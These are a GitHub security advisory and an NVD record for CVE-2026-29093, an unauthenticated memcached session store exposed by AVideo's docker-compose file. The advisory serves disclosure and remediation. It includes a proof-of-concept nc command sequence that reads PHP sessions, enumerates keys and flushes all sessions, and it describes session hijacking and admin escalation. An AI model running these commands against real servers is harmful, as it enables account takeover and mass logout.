{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T01:22:21Z",
    "nvd_published_at": "2026-03-06T04:16:08Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe official `docker-compose.yml` publishes the memcached service on host port 11211 (`0.0.0.0:11211`) with no authentication, while the Dockerfile configures PHP to store all user sessions in that memcached instance. An attacker who can reach port 11211 can read, modify, or flush session data \u2014 enabling session hijacking, admin impersonation, and mass session destruction without any application-level authentication.\n\n## Severity\n**High** (CVSS 3.1: 8.1)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n- **Attack Vector:** Network \u2014 `docker-compose.yml` binds memcached to `0.0.0.0:11211` on the host\n- **Attack Complexity:** High \u2014 exploitation requires port 11211 to be network-reachable, which depends on external firewall/security group configuration beyond the attacker\u0027s control\n- **Privileges Required:** None \u2014 memcached has no authentication mechanism enabled\n- **User Interaction:** None\n- **Scope:** Unchanged \u2014 impact is to the AVideo application\u0027s session management\n- **Confidentiality Impact:** High \u2014 session data includes user IDs, admin flags, email addresses, and password hashes\n- **Integrity Impact:** High \u2014 an attacker can modify session data to inject admin privileges or impersonate any user\n- **Availability Impact:** High \u2014 `flush_all` destroys all active sessions, forcing mass logout\n\n## Affected Component\n- `docker-compose.yml` \u2014 memcached service `ports` directive (line 203)\n- `Dockerfile` \u2014 PHP session configuration (lines 150-151)\n\n## CWE\n- **CWE-668**: Exposure of Resource to Wrong Sphere\n- **CWE-287**: Improper Authentication (memcached has no authentication)\n\n## Description\n\n### Memcached port unnecessarily published to host network\n\nThe `docker-compose.yml` publishes the memcached port to the Docker host\u0027s network interface:\n\n```yaml\n# docker-compose.yml \u2014 lines 192-213\n  memcached:\n    image: memcached:alpine\n    restart: unless-stopped\n    command: \u003e\n      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200\n    ports:\n      - \"${MEMCACHE_PORT:-11211}:11211\"    # \u003c-- Exposes to 0.0.0.0:11211\n    networks:\n      - app_net\n```\n\nThe memcached command has no authentication flags:\n- No `-S` flag (SASL authentication)\n- No `-l 127.0.0.1` flag (interface binding restriction)\n\nThe default `env.example` reinforces this port:\n```\nMEMCACHE_PORT=11211\n```\n\n### PHP sessions stored entirely in memcached\n\nThe Dockerfile configures PHP to use memcached as the session store:\n\n```ini\n; Dockerfile \u2014 lines 150-151\nsession.save_handler           = memcached\nsession.save_path              = \"memcached:11211?persistent=1\u0026timeout=2\u0026retry_interval=5\"\n```\n\n### Session data contains all authentication state\n\nThe application stores complete authentication state in sessions. From `objects/user.php`:\n\n```php\n// user.php:1521 \u2014 login check\n$isLogged = !empty($_SESSION[\u0027user\u0027][\u0027id\u0027]);\n\n// user.php:1544 \u2014 admin check\nreturn !empty($_SESSION[\u0027user\u0027][\u0027isAdmin\u0027]);\n```\n\nSession data includes: user ID, email, username, password hash, admin flag, channel name, photo URL, and email verification status (user.php lines 329-733). All of this is readable and writable via the exposed memcached port.\n\n### Inconsistent defense: database services are correctly internal-only\n\nThe `docker-compose.yml` demonstrates awareness of proper service isolation \u2014 both database services have NO `ports:` directive:\n\n```yaml\n# docker-compose.yml \u2014 database service (lines 136-163)\n  database:\n    build:\n      context: .\n      dockerfile: Dockerfile.mariadb\n    # ... NO ports: directive \u2014 internal only\n    networks:\n      - app_net\n\n# docker-compose.yml \u2014 database_encoder service (lines 165-189)\n  database_encoder:\n    build:\n      context: .\n      dockerfile: Dockerfile.mariadb\n    # ... NO ports: directive \u2014 internal only\n    networks:\n      - app_net\n```\n\nBoth databases are only reachable via the internal `app_net` Docker network. Memcached \u2014 which stores equally sensitive session data \u2014 should follow the same pattern but does not. This inconsistency confirms the exposure is an oversight, not a design choice.\n\n### Port exposure map\n\n| Service | Ports published to host | Contains sensitive data | Exposure justified |\n|---------|------------------------|------------------------|--------------------|\n| avideo | 80, 443, 2053 | N/A (web server) | Yes \u2014 serves web traffic |\n| live | 1935, 8080, 8443 | N/A (streaming) | Yes \u2014 serves RTMP/HLS |\n| database | None | Yes (all app data) | Correct \u2014 internal only |\n| database_encoder | None | Yes (encoder data) | Correct \u2014 internal only |\n| **memcached** | **11211** | **Yes (all sessions)** | **No \u2014 should be internal only** |\n\n### Execution chain\n\n1. Attacker scans the target host and discovers port 11211 is open\n2. Attacker connects with `nc TARGET 11211` or any memcached client \u2014 no authentication required\n3. Attacker runs `stats items` to enumerate session slab classes\n4. Attacker runs `stats cachedump \u003cslab_id\u003e \u003climit\u003e` to list session keys\n5. Attacker runs `get \u003csession_key\u003e` to read serialized PHP session data containing user IDs, admin flags, and password hashes\n6. Attacker either:\n   - **Hijacks a session**: uses the session ID as a cookie to impersonate the user\n   - **Escalates privileges**: modifies session data to set `isAdmin` to true via `set \u003csession_key\u003e`\n   - **Performs DoS**: runs `flush_all` to destroy all sessions\n\n## Proof of Concept\n\n```bash\n# 1. Verify memcached is reachable (returns server stats)\necho -e \"stats\\r\" | nc TARGET 11211\n\n# 2. Enumerate session keys\necho -e \"stats items\\r\" | nc TARGET 11211\n# Then for each slab:\necho -e \"stats cachedump 1 100\\r\" | nc TARGET 11211\n\n# 3. Read a session (key format: memc.sess.key.\u003csession_id\u003e)\necho -e \"get memc.sess.key.abc123sessionid\\r\" | nc TARGET 11211\n# Returns serialized PHP session with user data, admin flag, etc.\n\n# 4. DoS \u2014 destroy all sessions (logs out every user)\necho -e \"flush_all\\r\" | nc TARGET 11211\n```\n\nFor session hijacking, extract the session ID from step 3 and set it as the `PHPSESSID` cookie in a browser to impersonate the victim user.\n\n## Impact\n\n- **Session hijacking**: Read any user\u0027s session data and impersonate them by reusing their session ID \u2014 including admin accounts\n- **Privilege escalation**: Modify session data to set `$_SESSION[\u0027user\u0027][\u0027isAdmin\u0027]` to a truthy value, granting admin access to any session\n- **Credential exposure**: Session data includes password hashes (`$_SESSION[\u0027user\u0027][\u0027passhash\u0027]`, user.php:555) that can be cracked offline\n- **Mass session destruction**: `flush_all` destroys all active sessions, forcing every logged-in user to re-authenticate \u2014 a one-command denial of service\n- **Reconnaissance**: `stats` reveals server uptime, memory usage, connection counts, and cache hit/miss ratios\n\n## Recommended Remediation\n\n### Option 1: Remove the port mapping (preferred \u2014 one-line fix)\n\nMemcached is only used internally by the PHP application via Docker networking. Remove the `ports:` directive entirely:\n\n```yaml\n# docker-compose.yml \u2014 memcached service\n  memcached:\n    image: memcached:alpine\n    restart: unless-stopped\n    command: \u003e\n      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200\n    # REMOVED: ports:\n    #   - \"${MEMCACHE_PORT:-11211}:11211\"\n    deploy:\n      resources:\n        limits:\n          cpus: \u00271\u0027\n          memory: \"4G\"\n        reservations:\n          cpus: \u00270.5\u0027\n          memory: \u00271G\u0027\n    networks:\n      - app_net\n```\n\nAlso remove `MEMCACHE_PORT=11211` from `env.example` since the port is no longer published.\n\nThe PHP application connects via the Docker internal hostname `memcached:11211` (from `session.save_path`), which uses the `app_net` bridge network and does not require host-level port mapping.\n\n### Option 2: Bind memcached to localhost only (if host access is needed for debugging)\n\nIf host-level access to memcached is needed for debugging, bind only to the loopback interface:\n\n```yaml\n    ports:\n      - \"127.0.0.1:${MEMCACHE_PORT:-11211}:11211\"\n```\n\nThis prevents remote access while allowing `localhost:11211` connections from the Docker host.\n\n### Option 3: Enable SASL authentication (defense-in-depth)\n\nAdd SASL authentication to memcached as an additional layer:\n\n```yaml\n    command: \u003e\n      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 -S\n    environment:\n      MEMCACHED_USERNAME: \"${MEMCACHED_USER:-avideo}\"\n      MEMCACHED_PASSWORD: \"${MEMCACHED_PASSWORD}\"\n```\n\nUpdate the PHP session configuration accordingly:\n```ini\nsession.save_path = \"PERSISTENT=myapp avideo:${MEMCACHED_PASSWORD}@memcached:11211\"\n```\n\n**Note:** Option 1 alone is sufficient and should be applied immediately. Options 2 and 3 provide defense-in-depth.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-xxpw-32hf-q8v9",
  "modified": "2026-03-06T14:24:08Z",
  "published": "2026-03-05T01:22:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xxpw-32hf-q8v9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29093"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/releases/tag/24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated PHP session store exposed to host network via published memcached port"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "7C8F82C6-8B38-41D1-ADA1-EBE2DF74F083",
              "versionEndExcluding": "24.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Prior to version 24.0, the official docker-compose.yml publishes the memcached service on host port 11211 (0.0.0.0:11211) with no authentication, while the Dockerfile configures PHP to store all user sessions in that memcached instance. An attacker who can reach port 11211 can read, modify, or flush session data \u2014 enabling session hijacking, admin impersonation, and mass session destruction without any application-level authentication. This issue has been patched in version 24.0."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. Antes de la versi\u00f3n 24.0, el docker-compose.yml oficial publica el servicio memcached en el puerto de host 11211 (0.0.0.0:11211) sin autenticaci\u00f3n, mientras que el Dockerfile configura PHP para almacenar todas las sesiones de usuario en esa instancia de memcached. Un atacante que puede alcanzar el puerto 11211 puede leer, modificar o vaciar datos de sesi\u00f3n \u2014 lo que permite el secuestro de sesi\u00f3n, la suplantaci\u00f3n de administrador y la destrucci\u00f3n masiva de sesiones sin ninguna autenticaci\u00f3n a nivel de aplicaci\u00f3n. Este problema ha sido parcheado en la versi\u00f3n 24.0."
    }
  ],
  "id": "CVE-2026-29093",
  "lastModified": "2026-03-16T14:49:52.763",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-06T04:16:08.940",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/WWBN/AVideo/releases/tag/24.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory",
        "Exploit"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xxpw-32hf-q8v9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-668"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-668"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}